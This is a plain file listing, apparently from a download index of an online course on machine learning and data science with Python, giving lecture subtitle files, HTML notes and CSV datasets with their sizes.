    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/40. Training Model On Full Dataset.srt 19.17 KB
    11. Milestone Project 1 Supervised Learning (Classification)/9. Finding Patterns 3.srt 18.88 KB
    9. Scikit-learn Creating Machine Learning Models/40. Tuning Hyperparameters 3.srt 18.78 KB
    16. Career Advice + Extra Bits/10. CWD Git + Github 2.srt 18.25 KB
    6. Pandas Data Analysis/9. Manipulating Data.srt 18.07 KB
    9. Scikit-learn Creating Machine Learning Models/35. Evaluating A Model With Cross Validation and Scoring Parameter.srt 17.96 KB
    6. Pandas Data Analysis/8. Selecting and Viewing Data with Pandas Part 2.srt 17.92 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/17. Preproccessing Our Data.srt 17.8 KB
    11. Milestone Project 1 Supervised Learning (Classification)/13. TuningImproving Our Model.srt 17.64 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/37. Visualizing And Evaluate Model Predictions 2.srt 17.64 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/35. Transform Predictions To Text.srt 17.58 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/19. Feature Importance.srt 17.26 KB
    9. Scikit-learn Creating Machine Learning Models/24. Evaluating A Machine Learning Model 2 (Cross Validation).srt 17.25 KB
    16. Career Advice + Extra Bits/11. Contributing To Open Source.srt 17.13 KB
    9. Scikit-learn Creating Machine Learning Models/18. Choosing The Right Model For Your Data 3 (Classification).srt 17.13 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/36. Visualizing Model Predictions.srt 17.02 KB
    9. Scikit-learn Creating Machine Learning Models/39. Tuning Hyperparameters 2.srt 16.97 KB
    7. NumPy/13. Exercise Nut Butter Store Sales.srt 16.96 KB
    9. Scikit-learn Creating Machine Learning Models/12. Getting Your Data Ready Handling Missing Values With Pandas.srt 16.94 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/9. Filling Missing Numerical Values.srt 16.94 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/39. Saving And Loading A Trained Model.srt 16.85 KB
    6. Pandas Data Analysis/4. Series, Data Frames and CSVs.srt 16.82 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/9. Importing TensorFlow 2.srt 16.79 KB
    11. Milestone Project 1 Supervised Learning (Classification)/4. Step 1~4 Framework Setup.srt 16.6 KB
    9. Scikit-learn Creating Machine Learning Models/36. Evaluating A Model With Scikit-learn Functions.srt 16.32 KB
    7. NumPy/8. Manipulating Arrays.srt 16.17 KB
    9. Scikit-learn Creating Machine Learning Models/45. Putting It All Together 2.srt 16.11 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/13. Custom Evaluation Function.srt 16.11 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/14. Loading Our Data Labels.srt 16.08 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/3. Importing And Using Matplotlib.srt 16.05 KB
    17. Learn Python/16. Variables.srt 16.04 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/25. Building A Deep Learning Model.srt 15.92 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/3. Project Environment Setup.srt 15.91 KB
    11. Milestone Project 1 Supervised Learning (Classification)/14. Tuning Hyperparameters.srt 15.67 KB
    18. Learn Python Part 2/2. Conditional Logic.srt 15.66 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/22. Visualizing Our Data.srt 15.66 KB
    7. NumPy/12. Dot Product vs Element Wise.srt 15.34 KB
    5. Data Science Environment Setup/10. Jupyter Notebook Walkthrough.srt 15.14 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/15. Preparing The Images.srt 15.12 KB
    11. Milestone Project 1 Supervised Learning (Classification)/17. Evaluating Our Model.srt 15.11 KB
    9. Scikit-learn Creating Machine Learning Models/28. Evaluating A Classification Model 4 (Confusion Matrix).srt 15.11 KB
    11. Milestone Project 1 Supervised Learning (Classification)/15. Tuning Hyperparameters 2.srt 15.1 KB
    18. Learn Python Part 2/24. return.srt 14.97 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/16. Plotting from Pandas DataFrames 7.srt 14.95 KB
    9. Scikit-learn Creating Machine Learning Models/37. Improving A Machine Learning Model.srt 14.86 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/5. Scatter Plot And Bar Plot.srt 14.67 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/14. Reducing Data.srt 14.62 KB
    6. Pandas Data Analysis/7. Selecting and Viewing Data with Pandas.srt 14.59 KB
    9. Scikit-learn Creating Machine Learning Models/30. Evaluating A Classification Model 6 (Classification Report).srt 14.56 KB
    11. Milestone Project 1 Supervised Learning (Classification)/3. Project Environment Setup.srt 14.39 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/4. Anatomy Of A Matplotlib Figure.srt 14.16 KB
    3. Machine Learning and Data Science Framework/4. Types of Machine Learning Problems.srt 13.98 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/17. Customizing Your Plots.srt 13.95 KB
    6. Pandas Data Analysis/10. Manipulating Data 2.srt 13.85 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/38. Visualizing And Evaluate Model Predictions 3.srt 13.82 KB
    11. Milestone Project 1 Supervised Learning (Classification)/21. Reviewing The Project.srt 13.81 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/16. Turning Data Labels Into Numbers.srt 13.76 KB
    6. Pandas Data Analysis/11. Manipulating Data 3.srt 13.71 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/11. Plotting From Pandas DataFrames 2.srt 13.63 KB
    6. Pandas Data Analysis/6. Describing Data with Pandas.srt 13.58 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/12. Splitting Data.srt 13.51 KB
    11. Milestone Project 1 Supervised Learning (Classification)/7. Finding Patterns.srt 13.39 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/18. Customizing Your Plots 2.srt 13.29 KB
    3. Machine Learning and Data Science Framework/11. Modelling - Comparison.srt 13.09 KB
    11. Milestone Project 1 Supervised Learning (Classification)/11. Choosing The Right Models.srt 12.97 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/18. Preprocess Images.srt 12.93 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/19. Preprocess Images 2.srt 12.89 KB
    7. NumPy/7. Viewing Arrays and Matrices.srt 12.89 KB
    9. Scikit-learn Creating Machine Learning Models/23. Evaluating A Machine Learning Model (Score).srt 12.86 KB
    11. Milestone Project 1 Supervised Learning (Classification)/5. Getting Our Tools Ready.srt 12.78 KB
    18. Learn Python Part 2/45. Modules in Python.srt 12.67 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/15. RandomizedSearchCV.srt 12.65 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/26. Building A Deep Learning Model 2.srt 12.54 KB
    18. Learn Python Part 2/48. Packages in Python.srt 12.45 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/6. Histograms And Subplots.srt 12.44 KB
    7. NumPy/5. Creating NumPy Arrays.srt 12.44 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/4. Step 1~4 Framework Setup.srt 12.44 KB
    9. Scikit-learn Creating Machine Learning Models/26. Evaluating A Classification Model 2 (ROC Curve).srt 12.28 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/11. Using A GPU.srt 12.11 KB
    13. Data Engineering/9. Optional OLTP Databases.srt 12.11 KB
    9. Scikit-learn Creating Machine Learning Models/20. Making Predictions With Our Model.srt 12.08 KB
    9. Scikit-learn Creating Machine Learning Models/9. Getting Your Data Ready Splitting Your Data.srt 12.08 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/28. Building A Deep Learning Model 4.srt 12.02 KB
    11. Milestone Project 1 Supervised Learning (Classification)/10. Preparing Our Data For Machine Learning.srt 12.02 KB
    9. Scikit-learn Creating Machine Learning Models/31. Evaluating A Regression Model 1 (R2 Score).srt 12.01 KB
    9. Scikit-learn Creating Machine Learning Models/15. Choosing The Right Model For Your Data 2 (Regression).srt 11.98 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/14. Plotting from Pandas DataFrames 5.srt 11.63 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/20. Turning Data Into Batches.srt 11.61 KB
    9. Scikit-learn Creating Machine Learning Models/21. predict() vs predict_proba().srt 11.56 KB
    11. Milestone Project 1 Supervised Learning (Classification)/19. Evaluating Our Model 3.srt 11.55 KB
    7. NumPy/9. Manipulating Arrays 2.srt 11.49 KB
    5. Data Science Environment Setup/12. Jupyter Notebook Walkthrough 3.srt 11.49 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/12. Plotting from Pandas DataFrames 3.srt 11.46 KB
    11. Milestone Project 1 Supervised Learning (Classification)/6. Exploring Our Data.srt 11.4 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/18. Making Predictions.srt 11.37 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/17. Creating Our Own Validation Set.srt 11.32 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/27. Building A Deep Learning Model 3.srt 11.2 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/10. Filling Missing Categorical Values.srt 11.2 KB
    9. Scikit-learn Creating Machine Learning Models/29. Evaluating A Classification Model 5 (Confusion Matrix).srt 11.2 KB
    17. Learn Python/10. Numbers.srt 11.13 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/15. Plotting from Pandas DataFrames 6.srt 11.08 KB
    11. Milestone Project 1 Supervised Learning (Classification)/6.1 heart-disease.csv.csv 11.06 KB
    5. Data Science Environment Setup/10.3 heart-disease.csv.csv 11.06 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/13.1 heart-disease.csv.csv 11.06 KB
    6. Pandas Data Analysis/13. How To Download The Course Assignments.srt 11.06 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/16. Improving Hyperparameters.srt 11.03 KB
    17. Learn Python/34. List Methods.srt 10.75 KB
    9. Scikit-learn Creating Machine Learning Models/2. Scikit-learn Introduction.srt 10.6 KB
    18. Learn Python Part 2/47. Optional PyCharm.srt 10.51 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/11. Fitting A Machine Learning Model.srt 10.47 KB
    7. NumPy/16. Turn Images Into NumPy Arrays.srt 10.42 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/30. Evaluating Our Model.srt 10.42 KB
    18. Learn Python Part 2/18. Our First GUI.srt 10.37 KB
    17. Learn Python/26. Built-In Functions + Methods.srt 10.27 KB
    16. Career Advice + Extra Bits/12. Contributing To Open Source 2.srt 10.18 KB
    9. Scikit-learn Creating Machine Learning Models/6. Scikit-learn Cheatsheet.srt 10.08 KB
    18. Learn Python Part 2/36. Pure Functions.srt 10.06 KB
    9. Scikit-learn Creating Machine Learning Models/27. Evaluating A Classification Model 3 (ROC Curve).srt 10.04 KB
    11. Milestone Project 1 Supervised Learning (Classification)/2. Project Overview.srt 10.02 KB
    11. Milestone Project 1 Supervised Learning (Classification)/16. Tuning Hyperparameters 3.srt 9.92 KB
    9. Scikit-learn Creating Machine Learning Models/42. Saving And Loading A Model.srt 9.85 KB
    7. NumPy/6. NumPy Random Seed.srt 9.72 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/4. Setting Up Google Colab.srt 9.64 KB
    11. Milestone Project 1 Supervised Learning (Classification)/12. Experimenting With Machine Learning Models.srt 9.63 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/33. Evaluating Performance With TensorBoard.srt 9.57 KB
    7. NumPy/11. Reshape and Transpose.srt 9.53 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/13. Plotting from Pandas DataFrames 4.srt 9.41 KB
    18. Learn Python Part 2/41. List Comprehensions.srt 9.38 KB
    7. NumPy/10. Standard Deviation and Variance.srt 9.35 KB
    9. Scikit-learn Creating Machine Learning Models/19. Fitting A Model To The Data.srt 9.33 KB
    17. Learn Python/48. Sets 2.srt 9.24 KB
    9. Scikit-learn Creating Machine Learning Models/33. Evaluating A Regression Model 3 (MSE).srt 9.23 KB
    17. Learn Python/24. String Indexes.srt 9.21 KB
    18. Learn Python Part 2/21. Functions.srt 9.2 KB
    1. Introduction/1. Course Outline.srt 9.17 KB
    9. Scikit-learn Creating Machine Learning Models/22. Making Predictions With Our Model (Regression).srt 9.13 KB
    17. Learn Python/4. Our First Python Program.srt 9.03 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/9. Plotting From Pandas DataFrames.srt 9.02 KB
    9. Scikit-learn Creating Machine Learning Models/43. Saving And Loading A Model 2.srt 8.98 KB
    17. Learn Python/23. Formatted Strings.srt 8.84 KB
    7. NumPy/15. Sorting Arrays.srt 8.8 KB
    2. Machine Learning 101/1. What Is Machine Learning.srt 8.67 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/6. Uploading Project Data.srt 8.64 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/6. Exploring Our Data 2.srt 8.6 KB
    17. Learn Python/28. Exercise Type Conversion.srt 8.58 KB
    17. Learn Python/32. List Slicing.srt 8.5 KB
    18. Learn Python Part 2/32. Scope Rules.srt 8.48 KB
    17. Learn Python/47. Sets.srt 8.43 KB
    18. Learn Python Part 2/8. Exercise Logical Operators.srt 8.4 KB
    18. Learn Python Part 2/40. reduce().srt 8.39 KB
    13. Data Engineering/7. Types Of Databases.srt 8.37 KB
    17. Learn Python/2. Python Interpreter.srt 8.3 KB
    17. Learn Python/5. Python 2 vs Python 3.srt 8.17 KB
    18. Learn Python Part 2/9. is vs ==.srt 8.12 KB
    18. Learn Python Part 2/7. Logical Operators.srt 8.1 KB
    2. Machine Learning 101/3. Exercise Machine Learning Playground.srt 8.09 KB
    18. Learn Python Part 2/29. args and kwargs.srt 8.09 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/2. Matplotlib Introduction.srt 8.03 KB
    17. Learn Python/30. Exercise Password Checker.srt 7.89 KB
    18. Learn Python Part 2/19. DEVELOPER FUNDAMENTALS IV.srt 7.82 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/23. Preparing Our Inputs and Outputs.srt 7.78 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/13. Optional Reloading Colab Notebook.srt 7.77 KB
    3. Machine Learning and Data Science Framework/8. Modelling - Splitting Data.srt 7.71 KB
    5. Data Science Environment Setup/7. Windows Environment Setup.srt 7.62 KB
    13. Data Engineering/2. What Is Data.srt 7.62 KB
    18. Learn Python Part 2/10. For Loops.srt 7.53 KB
    7. NumPy/2. NumPy Introduction.srt 7.5 KB
    18. Learn Python Part 2/49. Different Ways To Import.srt 7.49 KB
    11. Milestone Project 1 Supervised Learning (Classification)/18. Evaluating Our Model 2.srt 7.41 KB
    18. Learn Python Part 2/15. While Loops.srt 7.36 KB
    17. Learn Python/44. Dictionary Methods 2.srt 7.14 KB
    9. Scikit-learn Creating Machine Learning Models/34. Machine Learning Model Evaluation.html 7.12 KB
    17. Learn Python/40. Dictionaries.srt 7.09 KB
    2. Machine Learning 101/4. How Did We Get Here.srt 7.07 KB
    17. Learn Python/1. What Is A Programming Language.srt 7.04 KB
    18. Learn Python Part 2/11. Iterables.srt 6.85 KB
    3. Machine Learning and Data Science Framework/7. Features In Data.srt 6.75 KB
    18. Learn Python Part 2/33. global Keyword.srt 6.67 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2. Project Overview.srt 6.66 KB
    3. Machine Learning and Data Science Framework/3. 6 Step Machine Learning Framework.srt 6.63 KB
    18. Learn Python Part 2/42. Set Comprehensions.srt 6.58 KB
    3. Machine Learning and Data Science Framework/5. Types of Data.srt 6.52 KB
    17. Learn Python/3. How To Run Python Code.srt 6.46 KB
    9. Scikit-learn Creating Machine Learning Models/10. Quick Tip Clean, Transform, Reduce.srt 6.42 KB
    18. Learn Python Part 2/16. While Loops 2.srt 6.42 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/7. Subplots Option 2.srt 6.4 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/7. Setting Up Our Data.srt 6.38 KB
    2. Machine Learning 101/2. AIMachine LearningData Science.srt 6.36 KB
    9. Scikit-learn Creating Machine Learning Models/4. Refresher What Is Machine Learning.srt 6.33 KB
    13. Data Engineering/4. What Is A Data Engineer 2.srt 6.33 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/5. Google Colab Workspace.srt 6.32 KB
    17. Learn Python/19. Strings.srt 6.29 KB
    18. Learn Python Part 2/37. map().srt 6.29 KB
    3. Machine Learning and Data Science Framework/9. Modelling - Picking the Model.srt 6.21 KB
    5. Data Science Environment Setup/4. Conda Environments.srt 6.15 KB
    2. Machine Learning 101/8. What Is Machine Learning Round 2.srt 6.07 KB
    3. Machine Learning and Data Science Framework/13. Tools We Will Use.srt 5.99 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/12. Optional GPU and Google Colab.srt 5.99 KB
    18. Learn Python Part 2/4. Truthy vs Falsey.srt 5.99 KB
    18. Learn Python Part 2/23. Default Parameters and Keyword Arguments.srt 5.98 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/29. Summarizing Our Model.srt 5.98 KB
    9. Scikit-learn Creating Machine Learning Models/25. Evaluating A Classification Model 1 (Accuracy).srt 5.87 KB
    18. Learn Python Part 2/13. range().srt 5.86 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/19. Saving And Sharing Your Plots.srt 5.83 KB
    17. Learn Python/37. Common List Patterns.srt 5.83 KB
    9. Scikit-learn Creating Machine Learning Models/32. Evaluating A Regression Model 2 (MAE).srt 5.7 KB
    17. Learn Python/45. Tuples.srt 5.69 KB
    2. Machine Learning 101/5. Exercise YouTube Recommendation Engine.srt 5.65 KB
    17. Learn Python/31. Lists.srt 5.57 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/31. Preventing Overfitting.srt 5.54 KB
    17. Learn Python/11. Math Functions.srt 5.43 KB
    13. Data Engineering/5. What Is A Data Engineer 3.srt 5.41 KB
    18. Learn Python Part 2/28. Clean Code.srt 5.36 KB
    17. Learn Python/29. DEVELOPER FUNDAMENTALS II.srt 5.3 KB
    18. Learn Python Part 2/3. Indentation In Python.srt 5.27 KB
    2. Machine Learning 101/6. Types of Machine Learning.srt 5.27 KB
    1. Introduction/4. Your First Day.srt 5.27 KB
    17. Learn Python/43. Dictionary Methods.srt 5.26 KB
    7. NumPy/14. Comparison Operators.srt 5.26 KB
    18. Learn Python Part 2/17. break, continue, pass.srt 5.25 KB
    18. Learn Python Part 2/26. Methods vs Functions.srt 5.25 KB
    17. Learn Python/12. DEVELOPER FUNDAMENTALS I.srt 5.22 KB
    17. Learn Python/8. Python Data Types.srt 5.22 KB
    18. Learn Python Part 2/38. filter().srt 5.05 KB
    13. Data Engineering/13. Kafka and Stream Processing.srt 5.05 KB
    17. Learn Python/36. List Methods 3.srt 5.01 KB
    17. Learn Python/22. Escape Sequences.srt 5.01 KB
    3. Machine Learning and Data Science Framework/12. Experimentation.srt 4.98 KB
    18. Learn Python Part 2/43. Exercise Comprehensions.srt 4.94 KB
    13. Data Engineering/3. What Is A Data Engineer.srt 4.9 KB
    18. Learn Python Part 2/22. Parameters and Arguments.srt 4.88 KB
    3. Machine Learning and Data Science Framework/10. Modelling - Tuning.srt 4.86 KB
    18. Learn Python Part 2/5. Ternary Operator.srt 4.81 KB
    17. Learn Python/15. Optional bin() and complex.srt 4.8 KB
    18. Learn Python Part 2/35. Why Do We Need Scope.srt 4.77 KB
    4. The 2 Paths/1. The 2 Paths.srt 4.71 KB
    13. Data Engineering/11. Hadoop, HDFS and MapReduce.srt 4.7 KB
    18. Learn Python Part 2/30. Exercise Functions.srt 4.69 KB
    3. Machine Learning and Data Science Framework/1. Section Overview.srt 4.65 KB
    18. Learn Python Part 2/14. enumerate().srt 4.56 KB
    17. Learn Python/35. List Methods 2.srt 4.48 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/10. Optional TensorFlow 2.0 Default Issue.srt 4.48 KB
    18. Learn Python Part 2/6. Short Circuiting.srt 4.47 KB
    18. Learn Python Part 2/20. Exercise Find Duplicates.srt 4.39 KB
    5. Data Science Environment Setup/2. Introducing Our Tools.srt 4.34 KB
    3. Machine Learning and Data Science Framework/6. Types of Evaluation.srt 4.33 KB
    18. Learn Python Part 2/27. Docstrings.srt 4.28 KB
    13. Data Engineering/1. Data Engineering Introduction.srt 4.25 KB
    17. Learn Python/42. Dictionary Keys.srt 4.17 KB
    17. Learn Python/33. Matrix.srt 4.13 KB
    9. Scikit-learn Creating Machine Learning Models/1. Section Overview.srt 4.1 KB
    18. Learn Python Part 2/34. nonlocal Keyword.srt 4.07 KB
    17. Learn Python/27. Booleans.srt 3.94 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/44. Finishing Dog Vision Where to next.html 3.86 KB
    13. Data Engineering/6. What Is A Data Engineer 4.srt 3.86 KB
    18. Learn Python Part 2/31. Scope.srt 3.82 KB
    6. Pandas Data Analysis/1. Section Overview.srt 3.75 KB
    3. Machine Learning and Data Science Framework/2. Introducing Our Framework.srt 3.7 KB
    20. Where To Go From Here/2. Thank You.srt 3.64 KB
    17. Learn Python/41. DEVELOPER FUNDAMENTALS III.srt 3.59 KB
    18. Learn Python Part 2/12. Exercise Tricky Counter.srt 3.58 KB
    17. Learn Python/13. Operator Precedence.srt 3.5 KB
    17. Learn Python/25. Immutability.srt 3.5 KB
    5. Data Science Environment Setup/3. What is Conda.srt 3.41 KB
    15. UPLOADED BY FEB 14th Storytelling + Communication How To Present Your Projects/1. Section Overview.srt 3.29 KB
    18. Learn Python Part 2/39. zip().srt 3.26 KB
    11. Milestone Project 1 Supervised Learning (Classification)/1. Section Overview.srt 3.11 KB
    7. NumPy/1. Section Overview.srt 3.11 KB
    9. Scikit-learn Creating Machine Learning Models/41. Quick Tip Correlation Analysis.srt 3.09 KB
    17. Learn Python/21. Type Conversion.srt 3.09 KB
    17. Learn Python/46. Tuples 2.srt 3.08 KB
    18. Learn Python Part 2/1. Breaking The Flow.srt 2.98 KB
    16. Career Advice + Extra Bits/7. JTS Start With Why.srt 2.96 KB
    17. Learn Python/18. Augmented Assignment Operator.srt 2.95 KB
    17. Learn Python/38. List Unpacking.srt 2.91 KB
    17. Learn Python/6. Exercise How Does Python Work.srt 2.85 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/1. Section Overview.srt 2.77 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/24. Optional How machines learn and what's going on behind the scenes.html 2.72 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/1. Section Overview.srt 2.69 KB
    17. Learn Python/7. Learning Python.srt 2.59 KB
    1. Introduction/3. Exercise Meet The Community.html 2.51 KB
    16. Career Advice + Extra Bits/6. JTS Learn to Learn.srt 2.49 KB
    2. Machine Learning 101/9. Section Review.srt 2.34 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/8. Quick Tip Data Visualizations.srt 2.34 KB
    13. Data Engineering/12. Apache Spark and Apache Flink.srt 2.31 KB
    1. Introduction/2. Join Our Online Classroom!.html 2.27 KB
    17. Learn Python/39. None.srt 2.19 KB
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/8. Setting Up Our Data 2.srt 2.18 KB
    7. NumPy/17. Assignment NumPy Practice.html 2.17 KB
    5. Data Science Environment Setup/1. Section Overview.srt 2.12 KB
    9. Scikit-learn Creating Machine Learning Models/46. Scikit-Learn Practice.html 2.07 KB
    8. Matplotlib + Seaborn Plotting and Data Visualization/20. Assignment Matplotlib Practice.html 2.05 KB
    6. Pandas Data Analysis/12. Assignment Pandas Practice.html 2.05 KB
    9. Scikit-learn Creating Machine Learning Models/17. Quick Tip How ML Algorithms Work.srt 1.91 KB
    12. Milestone Project 2 Supervised Learning (Time Series Data)/1. Section Overview.srt 1.84 KB
    17. Learn Python/17. Expressions vs Statements.srt 1.72 KB
    21. Extras/1. Bonus Special Thank You Gift.html 1.59 KB
    16. Career Advice + Extra Bits/14. Exercise Contribute To Open Source.html 1.43 KB
    17. Learn Python/20. String Concatenation.srt 1.42 KB
    7. NumPy/3. Quick Note Correction In Next Video.html 1.25 KB
    18. Learn Python Part 2/44. Python Exam Testing Your Understanding.html 1.12 KB
    6. Pandas Data Analysis/5. Data from URLs.html 1.09 KB
    5. Data Science Environment Setup/9. Linux Environment Setup.html 1.03 KB
    7. NumPy/18. Optional Extra NumPy resources.html 1.02 KB
    9. Scikit-learn Creating Machine Learning Models/5. Quick Note Upcoming Videos.html 1018 B
    3. Machine Learning and Data Science Framework/14. Optional Elements of AI.html 975 B
    18. Learn Python Part 2/50. Next Steps.html 959 B
    16. Career Advice + Extra Bits/13. Coding Challenges.html 948 B
    20. Where To Go From Here/1. Become An Alumni.html 944 B
    6. Pandas Data Analysis/2. Downloading Workbooks and Assignments.html 774 B
    10. Supervised Learning Classification + Regression/1. Milestone Projects!.html 738 B
    19. Bonus Learn Advanced Statistics and Mathematics for FREE!/1. Statistics and Mathematics.html 710 B
    16. Career Advice + Extra Bits/1. Endorsements On LinkedIn.html 688 B
    17. Learn Python/14. Exercise Operator Precedence.html 683 B
    8. Matplotlib + Seaborn Plotting and Data Visualization/10. Quick Note Regular Expressions.html 632 B
    16. Career Advice + Extra Bits/2. Quick Note Upcoming Video.html 587 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/3. Setting Up With Google.html 568 B
    16. Career Advice + Extra Bits/5. Quick Note Upcoming Videos.html 565 B
    13. Data Engineering/8. Quick Note Upcoming Video.html 481 B
    4. The 2 Paths/2. Python Developer Monthly.html 476 B
    18. Learn Python Part 2/46. Quick Note Upcoming Videos.html 448 B
    13. Data Engineering/10. Optional Learn SQL.html 410 B
    18. Learn Python Part 2/25. Exercise Tesla.html 402 B
    9. Scikit-learn Creating Machine Learning Models/3. Quick Note Upcoming Video.html 390 B
    6. Pandas Data Analysis/7.1 car-sales.csv.csv 369 B
    16. Career Advice + Extra Bits/8. Quick Note Upcoming Videos.html 352 B
    16. Career Advice + Extra Bits/4. Learning Guideline.html 310 B
    17. Learn Python/9. How To Succeed.html 280 B
    9. Scikit-learn Creating Machine Learning Models/16. Quick Note Decision Trees.html 221 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/19.2 End-to-end Bluebook Bulldozer Regression Notebook (same as in videos).html 214 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2.4 End-to-end Bluebook Bulldozer Regression Notebook (same as in videos).html 214 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/19.1 End-to-end Bluebook Bulldozer Regression Notebook (with annotations).html 208 B
    12. Milestone Project 2 Supervised Learning (Time Series Data)/2.2 End-to-end Bluebook Bulldozer Regression Notebook (with annotations).html 208 B
    11. Milestone Project 1 Supervised Learning (Classification)/2.1 End-to-end Heart Disease Classification Notebook (same as in videos).html 207 B
    11. Milestone Project 1 Supervised Learning (Classification)/21.2 End-to-end Heart Disease Classification Notebook (same as in videos).html 207 B
    15. UPLOADED BY FEB 14th Storytelling + Communication How To Present Your Projects/2. Videos uploaded by FEB 14th.html 203 B
    11. Milestone Project 1 Supervised Learning (Classification)/2.3 End-to-end Heart Disease Classification Notebook (with annotations).html 201 B
    11. Milestone Project 1 Supervised Learning (Classification)/21.1 End-to-end Heart Disease Classification Notebook (with annotations).html 201 B
    9. Scikit-learn Creating Machine Learning Models/2.1 Introduction to Scikit-Learn Jupyter Notebook (from the upcoming videos).html 197 B
    9. Scikit-learn Creating Machine Learning Models/45.1 Introduction to Scikit-Learn Jupyter Notebook (from the videos).html 197 B
    8. Matplotlib + Seaborn Plotting and Data Visualization/19.1 Introduction to Matplotlib Notebook (from the videos).html 195 B
    8. Matplotlib + Seaborn Plotting and Data Visualization/2.2 Introduction to Matplotlib Jupyter Notebook (from the upcoming videos).html 195 B
    9. Scikit-learn Creating Machine Learning Models/6.1 Scikit-Learn Reference Notebook.html 194 B
    9. Scikit-learn Creating Machine Learning Models/7.1 Example Scikit-Learn Workflow Notebook.html 192 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/43.2 End-to-end Dog Vision Notebook (from the videos).html 191 B
    6. Pandas Data Analysis/11.1 Introduction to Pandas Jupyter Notebook (from the videos).html 191 B
    6. Pandas Data Analysis/3.3 Introduction to Pandas Jupyter Notebook (from the upcoming videos).html 191 B
    9. Scikit-learn Creating Machine Learning Models/2.2 Introduction to Scikit-Learn Jupyter Notebook (with annotations).html 191 B
    9. Scikit-learn Creating Machine Learning Models/45.2 Introduction to Scikit-Learn Jupyter Notebook (with annotations).html 191 B
    7. NumPy/16.2 Introduction to NumPy Jupyter Notebook (from the videos).html 190 B
    7. NumPy/2.2 Introduction to NumPy Jupyter Notebook (from the upcoming videos).html 190 B
    14. Neural Networks Deep Learning, Transfer Learning and TensorFlow 2/43.1 End-to-end Dog Vision Notebook (with annotations).html 185 B
    6. Pandas Data Analysis/11.2 Introduction to Pandas Jupyter Notebook (with annotations).html 185 B
    6. Pandas Data Analysis/3.4 Introduction to Pandas Jupyter Notebook (with annotations).html 185 B
    7. NumPy/16.3 Introduction to NumPy Jupyter Notebook (with annotations).html 184 B
    7. NumPy/2.3 Introduction to NumPy Jupyter Notebook (with annotations).html 184 B
